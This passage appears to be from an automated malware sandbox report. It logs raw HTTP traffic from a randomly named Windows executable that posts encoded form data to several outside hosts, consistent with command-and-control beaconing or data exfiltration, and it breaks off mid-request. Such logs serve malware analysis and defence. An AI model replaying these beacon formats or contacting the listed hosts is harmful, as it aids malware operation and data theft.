Jul 1, 2024 16:18:24.248069048 CEST	1236	IN	Data Raw: ec f3 94 66 59 95 94 af a5 51 2e 4b bd 5c 10 68 b2 50 97 1a f0 a4 94 90 ad 90 d0 2a 1b 88 6c 2b 4f 8a d0 13 27 1c 07 94 c7 49 1b 8f a9 d0 27 a0 06 2d 9f 26 cc f5 15 f6 98 a4 ae 9d 21 98 db 38 b0 f3 0f 4a 24 61 ba 40 20 18 0f 25 7c e6 a1 7b f5 ba Data Ascii: fYQ.K\hPl+O'I'-&!8J$a@ %\|{MdB%DhG4uI\F:qm)@CpJ:B1hUnJ6J\|}J&]k$V\+L.JKLs)\i[=C*]H3/hY^:_bmM,C/#mE/isb
Jul 1, 2024 16:18:24.248081923 CEST	448	IN	Data Raw: 01 2e 08 14 01 fe 8e 3e 70 a2 95 1d 1d 53 34 84 e4 a6 cd 14 e8 4f 8f f0 d1 29 0a 25 74 e8 e2 47 ea 71 e6 46 bd d1 59 80 6c 03 d1 1b 7d e8 08 a4 a3 bf d1 a9 1f 5f cd b0 32 39 c3 a1 79 55 f7 6a e1 35 2d a2 54 33 7c 90 a1 10 6d 5f a6 48 76 5b 4b 4f Data Ascii: .>pS4O)%tGqFYl}_29yUj5-T3\|m_Hv[KO<,_HR\|-cJ99X7v\90wNz}p[*o55eme-t_&-dSwx40s"YBi6 fIH5@^
Jul 1, 2024 16:18:24.248126984 CEST	1236	IN	Data Raw: 6f cf ff fb e2 bf 9e be 9e 8a cd 0a fd cb 0e a1 0e 11 9f 7a 29 a5 c4 65 20 33 b0 fb 95 6c 82 93 6b 75 42 9d 99 8d 9a 8d 89 cd d4 b4 d8 37 f5 03 e6 7b 1a 09 2e c3 fb ab f1 fa 0a 5c 46 28 73 93 4c 91 85 e5 19 10 33 e9 73 61 39 05 9a 61 97 ea dd d6 Data Ascii: oz)e 3lkuB7{.\F(sL3sa9al4Vj^Qu]YS25,Csa,.dFjY*udXXkT$4'eZ"VY6JV<5AAZ>2#o\|
Jul 1, 2024 16:18:24.248239040 CEST	1025	IN	Data Raw: c8 b1 5f b1 07 19 12 6a 02 0c 11 a2 5a 57 6f 0b 33 6c e7 16 37 d7 d3 9d 4d b7 43 dd 2e 20 6c 36 69 34 5b e5 a5 42 a5 bb 77 97 48 61 1a 6b 19 20 0c bd 52 88 ac 26 18 b0 7c 89 4c 45 30 45 5d 13 65 4e 12 15 b0 34 0f e8 7a 53 d9 6e 1a 13 a9 b3 e3 14 Data Ascii: _jZWo3l7MC. l6i4[BwHak R&\|LE0E]eN4zSntlfL21.!"4}xrXaHv0?)TK?1~>:3$gp1 -5?<})4n?{SyKbJ%D3fr^=w/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49765	81.95.96.29	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:18:26.091989994 CEST	1831	OUT	POST /vi6c/ HTTP/1.1 Host: www.hydrogenmovie.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.hydrogenmovie.com Cache-Control: no-cache Connection: close Content-Length: 1244 Content-Type: application/x-www-form-urlencoded Referer: http://www.hydrogenmovie.com/vi6c/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 57 65 33 65 49 30 41 4b 34 4c 47 32 30 57 32 2f 33 4f 4a 66 37 62 5a 30 48 4b 30 30 6d 65 4a 77 74 70 65 57 77 37 61 71 6d 46 45 2f 69 45 61 43 51 74 37 33 45 2f 4f 49 47 79 42 37 48 2f 47 65 65 4f 30 41 35 33 34 38 68 45 39 6b 71 47 2f 2f 6b 48 51 50 52 41 62 43 77 71 4c 42 58 76 50 61 73 44 2f 70 77 56 76 34 49 79 53 62 6a 33 59 7a 37 34 37 4d 4b 33 56 61 54 2f 67 55 45 34 67 33 6f 63 42 63 77 5a 59 4e 52 30 4d 32 2b 6d 59 78 2f 38 70 54 41 49 4f 56 61 63 69 62 41 4b 31 63 67 45 39 6a 50 59 37 58 53 42 6a 6d 72 58 4c 53 4e 4c 38 33 65 2f 44 30 77 5a 70 69 78 75 55 2b 6d 65 38 68 6d 4e 50 41 2f 6f 76 4b 35 62 4c 62 47 55 59 33 4c 44 52 65 44 49 76 33 6c 37 71 78 6d 41 71 70 4d 56 68 53 59 70 77 4e 47 6d 52 57 51 70 5a 7a 39 2b 6a 45 6a 68 42 2b 31 57 4e 63 4d 6b 78 71 30 73 32 53 6d 4d 36 58 71 6d 34 55 77 79 62 34 67 4f 50 65 36 54 57 76 55 38 69 42 46 71 4e 55 71 48 34 35 49 6a 49 30 77 51 51 4b 45 6d 52 72 49 57 33 75 64 56 6b 36 70 32 39 4e 36 59 67 67 36 64 45 33 5a 6e [TRUNCATED] Data Ascii: 4dV43tA=We3eI0AK4LG20W2/3OJf7bZ0HK00meJwtpeWw7aqmFE/iEaCQt73E/OIGyB7H/GeeO0A5348hE9kqG//kHQPRAbCwqLBXvPasD/pwVv4IySbj3Yz747MK3VaT/gUE4g3ocBcwZYNR0M2+mYx/8pTAIOVacibAK1cgE9jPY7XSBjmrXLSNL83e/D0wZpixuU+me8hmNPA/ovK5bLbGUY3LDReDIv3l7qxmAqpMVhSYpwNGmRWQpZz9+jEjhB+1WNcMkxq0s2SmM6Xqm4Uwyb4gOPe6TWvU8iBFqNUqH45IjI0wQQKEmRrIW3udVk6p29N6Ygg6dE3ZniOuu2W5vIqL697cg0qzYorZMqCAM1BTRRtyklOAtD8TWrAExCTwSrTZS15WZyG/ZqQSwkk9UBSHcF9zquHBB5Bio11f3h7POBuE3l0IpXem/RA60Ov3+EWPWJ427YiccdK3cMs5KiK81gchCh4ZZ987S5uDjzq0jkI6IzOYO5c9Df68BZHQHi3rikaCqwttXJ6RkCyzbKmd7x+/cQIpa42s0hVdcLYlL+pk7e8ZovUHZW1mGoXSdnju64i0fp921421JcjRvSACzpz3B8B6cNBM/ODJxzBEHrZuM049OHK+IYdxJ75JRI88pxKYLpuHCBgn67vMAeUK1EF9aI8YAxtCJVbHuPvXjEvle5OwoqLTMVnay/08nS+V1rcxqSCNDpQG2SMzGq1cwzHA6L3V5ziWs9obq+Ictb9Wjz3fpH8Dq5cDutm+wTL/0rBUhcAJXwb1Jwe//jE06g1DqDoE5G/8wD5IrMFuVJwuCj4FSNuZT9gtaI4YJOEsJqK7kJZGhMdgY4y+2Mm2CJdDODU7HCU0/nSJHOE7nP+TxDP+bQJCLnseZqPReGIVKN6eg3IQTKiBCmMcdR+P6+hQtyRovjlGh2ZykQGxUrlcpYeI5x6RLaM738Zh7kKz5BkeObzlNdCHhoyZfFth4QdNcfekErn7MAohkKLUdLL [TRUNCATED]
Jul 1, 2024 16:18:26.795411110 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 14:18:26 GMT Server: Apache Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4981 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 5c cd 73 1b b7 92 3f 2b 55 f9 1f 10 ba 1c 59 b5 02 bf f4 2d 4b ca 73 6c e5 3d af e3 8f 8d bc 49 6d 2e 2e cc 0c 48 42 9c 01 e6 01 33 14 c9 3c df 77 ab d6 f7 cd fa b2 3a fa a0 ca 61 6f af ea e5 42 e9 ff da 06 30 43 ce 0c 87 12 a9 8f ac f3 e1 84 d4 0c 06 e8 6e 00 dd bf ee 06 c0 d9 eb 44 81 7f f0 e9 27 9f 7e b2 d7 a1 c4 83 ab a5 3d 87 28 8a 3a 92 b6 f6 2b b5 8a 29 09 68 44 90 db 21 52 d1 68 bf 12 47 2d bc 5d 31 8d 96 f6 22 16 f9 f4 e0 d1 e3 d7 4f bf 3d 44 cd f5 55 a4 aa b2 2a aa 7b 35 fb c0 56 32 ed 39 09 e8 7e a5 c7 e8 49 28 64 54 41 ae e0 11 e5 40 ef 84 79 51 67 df a3 3d e6 52 6c 6e 56 11 e3 2c 62 c4 c7 ca 25 3e dd 6f 64 c4 b0 64 9e d1 c1 89 90 9e ca 90 99 aa f3 84 2a 57 b2 30 62 82 67 aa 4d 89 3a d5 ee 51 1c 75 84 5c a8 c9 cb 13 4e 2f 6d 81 d2 f1 fa 0c 63 d4 22 d0 55 c1 91 8a 88 8c 10 c6 86 9a cf 78 17 49 ea ef 57 48 18 fa 14 47 22 76 3b 58 d7 ab 20 c5 86 54 ed 57 36 b6 fa 1b 5b 95 64 6a 3a 51 14 aa dd 5a ad 1d b3 2a 71 23 d6 a3 cd f5 aa 3b ac b1 a0 5d d3 ad 6a a4 b9 [TRUNCATED] Data Ascii: \s?+UY-Ksl=Im..HB3<w:aoB0CnD'~=(:+)hD!RhG-]1"O=DU{5V29~I(dTA@yQg=RlnV,b%>oddW0bgM:Qu\N/mc"UxIWHG"v;X TW6[dj:QZq#;]j-6!oWYoo_VG~1phs6}utF}&\-nlh-2S4nX@+Y;ux]Zv=w6;jnchZNf\|E3h_3>~ks\|%K@r:4LhS4j\|H"5C55?EjxZ/z[6]kZ[Avq^m\BD#D"IB}h`rB.Wu.W\@4M.cP-$,}=`.X.KAJDm!>%!S~"!}uv-g>kvtLJUA K~)wrQGTQ5B.&RR-,G=,B[UC\|iaQdLoFDu^;C=eN~g##AU@#QqYUh@!P4Z4X]X#m}QWHxA0vc mD6aM [TRUNCATED]
Jul 1, 2024 16:18:26.795455933 CEST	1236	IN	Data Raw: ec f3 94 66 59 95 94 af a5 51 2e 4b bd 5c 10 68 b2 50 97 1a f0 a4 94 90 ad 90 d0 2a 1b 88 6c 2b 4f 8a d0 13 27 1c 07 94 c7 49 1b 8f a9 d0 27 a0 06 2d 9f 26 cc f5 15 f6 98 a4 ae 9d 21 98 db 38 b0 f3 0f 4a 24 61 ba 40 20 18 0f 25 7c e6 a1 7b f5 ba Data Ascii: fYQ.K\hPl+O'I'-&!8J$a@ %\|{MdB%DhG4uI\F:qm)@CpJ:B1hUnJ6J\|}J&]k$V\+L.JKLs)\i[=C*]H3/hY^:_bmM,C/#mE/isb
Jul 1, 2024 16:18:26.795474052 CEST	448	IN	Data Raw: 01 2e 08 14 01 fe 8e 3e 70 a2 95 1d 1d 53 34 84 e4 a6 cd 14 e8 4f 8f f0 d1 29 0a 25 74 e8 e2 47 ea 71 e6 46 bd d1 59 80 6c 03 d1 1b 7d e8 08 a4 a3 bf d1 a9 1f 5f cd b0 32 39 c3 a1 79 55 f7 6a e1 35 2d a2 54 33 7c 90 a1 10 6d 5f a6 48 76 5b 4b 4f Data Ascii: .>pS4O)%tGqFYl}_29yUj5-T3\|m_Hv[KO<,_HR\|-cJ99X7v\90wNz}p[*o55eme-t_&-dSwx40s"YBi6 fIH5@^
Jul 1, 2024 16:18:26.795705080 CEST	1236	IN	Data Raw: 6f cf ff fb e2 bf 9e be 9e 8a cd 0a fd cb 0e a1 0e 11 9f 7a 29 a5 c4 65 20 33 b0 fb 95 6c 82 93 6b 75 42 9d 99 8d 9a 8d 89 cd d4 b4 d8 37 f5 03 e6 7b 1a 09 2e c3 fb ab f1 fa 0a 5c 46 28 73 93 4c 91 85 e5 19 10 33 e9 73 61 39 05 9a 61 97 ea dd d6 Data Ascii: oz)e 3lkuB7{.\F(sL3sa9al4Vj^Qu]YS25,Csa,.dFjY*udXXkT$4'eZ"VY6JV<5AAZ>2#o\|
Jul 1, 2024 16:18:26.795875072 CEST	1025	IN	Data Raw: c8 b1 5f b1 07 19 12 6a 02 0c 11 a2 5a 57 6f 0b 33 6c e7 16 37 d7 d3 9d 4d b7 43 dd 2e 20 6c 36 69 34 5b e5 a5 42 a5 bb 77 97 48 61 1a 6b 19 20 0c bd 52 88 ac 26 18 b0 7c 89 4c 45 30 45 5d 13 65 4e 12 15 b0 34 0f e8 7a 53 d9 6e 1a 13 a9 b3 e3 14 Data Ascii: _jZWo3l7MC. l6i4[BwHak R&\|LE0E]eN4zSntlfL21.!"4}xrXaHv0?)TK?1~>:3$gp1 -5?<})4n?{SyKbJ%D3fr^=w/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49766	81.95.96.29	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:18:28.632405043 CEST	532	OUT	GET /vi6c/?4dV43tA=bcf+LDcyoYCm+QyU3/UN8JBlUcMDsPN1iNWsx7umrkQm3W+qfOHyOayxGzxcStXTe9ogwFYflhpGlkCNjFINeirDlZuuOL3Enw+3v27XAzPfiFhmkrPFAnkPRuNZJaNv/Q==&3hkl=slNhbLXpBjO8vl HTTP/1.1 Host: www.hydrogenmovie.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Jul 1, 2024 16:18:29.343560934 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 14:18:29 GMT Server: Apache Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 35 39 61 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 62 61 73 65 20 68 72 65 66 3d 22 2f 22 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 41 43 54 49 56 45 20 32 34 2c 20 73 2e 72 2e 6f 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 4b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 44 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 41 43 54 49 56 45 20 32 34 2c 20 73 2e 72 2e 6f 2e 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 41 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 41 43 54 49 56 45 20 32 34 2c 20 73 2e 72 2e 6f 2e 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 4f 77 6e 65 72 [TRUNCATED] Data Ascii: 59a4<html><head><base href="/"><meta charset="utf-8"><title>ACTIVE 24, s.r.o.</title><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="Keywords" content=""><meta name="Description" content="ACTIVE 24, s.r.o."><meta name="Author" content="ACTIVE 24, s.r.o."><meta name="Owner" content="ACTIVE 24, s.r.o. ">... favicon start --><link rel="apple-touch-icon" sizes="57x57" href="https://gui.active24.cz/img/icon/a24-apple-favicon-57x57.png"><link rel="apple-touch-icon" sizes="60x60" href="https://gui.active24.cz/img/icon/a24-apple-favicon-60x60.png"><link rel="apple-touch-icon" sizes="72x72" href="https://gui.active24.cz/img/icon/a24-apple-favicon-72x72.png"><link rel="apple-touch-icon" sizes="76x76" href="https://gui.active24.cz/img/icon/a24-apple-favicon-76x76.png"><link rel="apple-touch-icon" sizes="114x114" href="https://gui.active24.cz/img/icon/a24-apple-favicon-114x114.png"><link rel="apple-touch-icon" sizes="120 [TRUNCATED]
Jul 1, 2024 16:18:29.343588114 CEST	224	IN	Data Raw: 6f 6e 2f 61 32 34 2d 61 70 70 6c 65 2d 66 61 76 69 63 6f 6e 2d 31 32 30 78 31 32 30 2e 70 6e 67 22 3e 0d 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 34 34 78 31 34 34 22 20 Data Ascii: on/a24-apple-favicon-120x120.png"><link rel="apple-touch-icon" sizes="144x144" href="https://gui.active24.cz/img/icon/a24-apple-favicon-144x144.png"><link rel="apple-touch-icon" sizes="152x152" href="https://gui.active
Jul 1, 2024 16:18:29.343597889 CEST	1236	IN	Data Raw: 32 34 2e 63 7a 2f 69 6d 67 2f 69 63 6f 6e 2f 61 32 34 2d 61 70 70 6c 65 2d 66 61 76 69 63 6f 6e 2d 31 35 32 78 31 35 32 2e 70 6e 67 22 3e 0d 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 Data Ascii: 24.cz/img/icon/a24-apple-favicon-152x152.png"><link rel="apple-touch-icon" sizes="180x180" href="https://gui.active24.cz/img/icon/a24-apple-favicon-180x180.png"><link rel="icon" type="image/png" sizes="192x192" href="https://gui.active24
Jul 1, 2024 16:18:29.343655109 CEST	1236	IN	Data Raw: 2f 6c 61 6e 64 69 6e 67 2e 63 73 73 22 3e 0d 0a 0d 0a 09 3c 73 74 79 6c 65 3e 0d 0a 09 09 40 69 6d 70 6f 72 74 20 75 72 6c 28 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d Data Ascii: /landing.css"><style>@import url(https://fonts.googleapis.com/css?family=Titillium+Web:400,700,900,600,300&subset=latin,latin-ext);@font-face {font-family: 'active24-icons';src: url('https://gui.active24.cz/font/active
Jul 1, 2024 16:18:29.343667030 CEST	1236	IN	Data Raw: 65 3b 0d 0a 09 09 09 74 6f 70 3a 20 34 72 65 6d 3b 0d 0a 09 09 09 70 61 64 64 69 6e 67 3a 20 31 35 70 78 3b 0d 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0d 0a 09 09 7d 0d 0a 0d 0a 09 09 2e 6c 61 6e Data Ascii: e;top: 4rem;padding: 15px;background-color: #ffffff;}.lang-item {font-size: 1rem;background-color: #ffffff;color: #00b8ea;text-align: left;line-height: 23px;padding: 7px;text-transfor
Jul 1, 2024 16:18:29.343678951 CEST	1236	IN	Data Raw: 20 7b 0d 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 68 74 74 70 73 3a 2f 2f 67 75 69 2e 61 63 74 69 76 65 32 34 2e 63 7a 2f 69 6d 67 2f 77 65 62 6d 61 69 6c 5f 69 6b 6f 6e 79 5f 76 6c 61 6a 6b 79 2e 70 6e 67 29 20 2d 31 35 70 78 Data Ascii: {background: url(https://gui.active24.cz/img/webmail_ikony_vlajky.png) -15px -238px no-repeat}.dropdown-toggle::after {height: 100%;right: 10px;top: 45%;position: absolute;content: "";border-top: .
Jul 1, 2024 16:18:29.343893051 CEST	1236	IN	Data Raw: 39 30 70 78 3b 0d 0a 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 2d 34 35 70 78 3b 0d 0a 09 09 7d 0d 0a 09 3c 2f 73 74 79 6c 65 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 68 70 20 68 70 31 35 22 3e 0d Data Ascii: 90px;margin-top: -45px;}</style></head><body class="hp hp15"><header class="header"><div class="header__container"><a class="header__logo" href="https://www.active24.com" role="button"></a><div class="heade
Jul 1, 2024 16:18:29.343904972 CEST	1236	IN	Data Raw: 6c 69 73 68 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 6c 61 6e 67 2d 69 74 65 6d 20 6c 61 6e 67 2d 65 73 22 3e Data Ascii: lish</a></span></button><button class="lang-item lang-es"><span><a href="/DOMAIN/es/index.php">Espaol</a></span></button><button class="lang-item lang-nl"><span><a hre
Jul 1, 2024 16:18:29.343916893 CEST	1024	IN	Data Raw: 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 63 74 69 76 65 32 34 2e 63 6f 6d 22 3e 41 43 54 49 56 45 20 32 34 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 Data Ascii: "https://www.active24.com">ACTIVE 24</a>.</p></div></div></div></div><div class="block__illu overflow-hidden"><div class="block__image" id="image"><img alt=""src="https://gui.active24.cz/img/default
Jul 1, 2024 16:18:29.343928099 CEST	1236	IN	Data Raw: 64 6f 6d 61 69 6e 2f 61 76 61 69 6c 61 62 69 6c 69 74 79 2f 6c 69 73 74 22 0d 0a 09 09 09 09 09 63 6c 61 73 73 3d 22 69 6e 6c 69 6e 65 2d 66 6f 72 6d 20 69 6e 73 69 74 65 2d 63 6f 6e 74 72 6f 6c 73 2d 63 6f 6e 74 61 69 6e 65 72 20 6d 62 2d 30 22 Data Ascii: domain/availability/list"class="inline-form insite-controls-container mb-0"method="GET"novalidate><div class="inline-form__item inline-form__item--label"><h2 class="insite-only inline-form__title">REGISTRA
Jul 1, 2024 16:18:29.348726034 CEST	1236	IN	Data Raw: 76 20 63 6c 61 73 73 3d 22 77 72 61 70 2d 6c 69 73 74 20 76 2d 73 70 61 63 65 2d 2d 62 6f 74 74 6f 6d 20 72 6f 77 2d 66 6c 65 78 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 22 3e 0d 0a 09 09 09 09 09 09 09 0d 0a 09 09 09 Data Ascii: v class="wrap-list v-space--bottom row-flex justify-content-center"><div class="wrap-list__item"><div class="box box--tight h-100"><div class="box__container h-flex"><div class="text-center v-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49767	103.224.182.246	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:18:35.366411924 CEST	773	OUT	POST /n983/ HTTP/1.1 Host: www.atmpla.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.atmpla.net Cache-Control: no-cache Connection: close Content-Length: 208 Content-Type: application/x-www-form-urlencoded Referer: http://www.atmpla.net/n983/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 54 38 52 48 63 73 75 4e 59 31 53 6e 71 55 48 33 44 51 53 2b 77 7a 39 57 50 52 79 38 2f 61 77 62 6b 35 62 76 42 62 74 32 6b 69 67 6a 69 56 45 36 53 4d 50 46 35 41 75 33 47 47 79 6c 6b 54 6c 64 57 46 73 51 4e 35 67 54 4d 52 64 76 72 45 6c 54 33 78 6b 76 58 74 45 4e 6e 76 42 2f 6f 6d 35 4f 75 44 36 50 78 55 4c 4a 48 32 53 50 58 68 33 32 6b 75 6d 43 75 62 67 4c 30 6c 71 4d 70 6d 6d 49 70 51 35 53 46 7a 78 4f 45 59 59 31 71 2f 47 2b 6a 67 76 6f 6f 46 32 63 46 44 52 61 37 4b 5a 6f 42 30 46 4a 6e 30 6d 48 70 6d 59 54 33 70 79 42 63 6f 56 63 4a 74 4b 41 4b 36 32 50 4b 6f 33 41 6c 4f 62 76 4e 36 49 3d Data Ascii: 4dV43tA=T8RHcsuNY1SnqUH3DQS+wz9WPRy8/awbk5bvBbt2kigjiVE6SMPF5Au3GGylkTldWFsQN5gTMRdvrElT3xkvXtENnvB/om5OuD6PxULJH2SPXh32kumCubgL0lqMpmmIpQ5SFzxOEYY1q/G+jgvooF2cFDRa7KZoB0FJn0mHpmYT3pyBcoVcJtKAK62PKo3AlObvN6I=
Jul 1, 2024 16:18:35.999718904 CEST	333	IN	HTTP/1.1 302 Found date: Mon, 01 Jul 2024 14:18:35 GMT server: Apache set-cookie: __tad=1719843515.1468331; expires=Thu, 29-Jun-2034 14:18:35 GMT; Max-Age=315360000 location: http://ww16.atmpla.net/n983/?sub1=20240702-0018-3502-bc81-6d3bd567f235 content-length: 2 content-type: text/html; charset=UTF-8 connection: close Data Raw: 0a 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49768	103.224.182.246	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:18:37.901422977 CEST	793	OUT	POST /n983/ HTTP/1.1 Host: www.atmpla.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.atmpla.net Cache-Control: no-cache Connection: close Content-Length: 228 Content-Type: application/x-www-form-urlencoded Referer: http://www.atmpla.net/n983/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 54 38 52 48 63 73 75 4e 59 31 53 6e 70 30 58 33 4d 54 36 2b 34 7a 39 5a 57 52 79 38 31 36 77 66 6b 35 48 76 42 61 5a 6d 6b 51 55 6a 69 30 30 36 52 4f 33 46 36 41 75 33 4f 6d 79 73 70 7a 6b 52 57 46 52 76 4e 34 4d 54 4d 52 35 76 72 46 56 54 33 43 4d 73 57 39 45 44 7a 66 42 35 6c 47 35 4f 75 44 36 50 78 55 75 73 48 79 32 50 55 52 48 32 6e 4c 53 42 6e 37 67 4d 33 6c 71 4d 34 32 6d 4d 70 51 35 30 46 79 74 6f 45 61 51 31 71 37 4f 2b 6b 78 76 76 79 56 32 61 42 44 51 47 2f 62 6b 36 4c 45 35 4a 6d 57 79 46 36 57 30 30 2f 2f 66 72 47 4b 64 30 61 4e 6d 34 61 70 2b 34 62 59 57 70 2f 74 4c 66 54 74 64 56 74 69 31 66 57 37 52 65 6c 4c 57 58 48 4e 59 4c 51 35 6f 35 Data Ascii: 4dV43tA=T8RHcsuNY1Snp0X3MT6+4z9ZWRy816wfk5HvBaZmkQUji006RO3F6Au3OmyspzkRWFRvN4MTMR5vrFVT3CMsW9EDzfB5lG5OuD6PxUusHy2PURH2nLSBn7gM3lqM42mMpQ50FytoEaQ1q7O+kxvvyV2aBDQG/bk6LE5JmWyF6W00//frGKd0aNm4ap+4bYWp/tLfTtdVti1fW7RelLWXHNYLQ5o5
Jul 1, 2024 16:18:38.533639908 CEST	333	IN	HTTP/1.1 302 Found date: Mon, 01 Jul 2024 14:18:38 GMT server: Apache set-cookie: __tad=1719843518.3662828; expires=Thu, 29-Jun-2034 14:18:38 GMT; Max-Age=315360000 location: http://ww16.atmpla.net/n983/?sub1=20240702-0018-38ab-b3fe-5f182fd55e69 content-length: 2 content-type: text/html; charset=UTF-8 connection: close Data Raw: 0a 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49769	103.224.182.246	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:18:40.486275911 CEST	1810	OUT	POST /n983/ HTTP/1.1 Host: www.atmpla.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.atmpla.net Cache-Control: no-cache Connection: close Content-Length: 1244 Content-Type: application/x-www-form-urlencoded Referer: http://www.atmpla.net/n983/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 54 38 52 48 63 73 75 4e 59 31 53 6e 70 30 58 33 4d 54 36 2b 34 7a 39 5a 57 52 79 38 31 36 77 66 6b 35 48 76 42 61 5a 6d 6b 51 73 6a 69 43 6f 36 54 70 6a 46 37 41 75 33 41 47 79 68 70 7a 6c 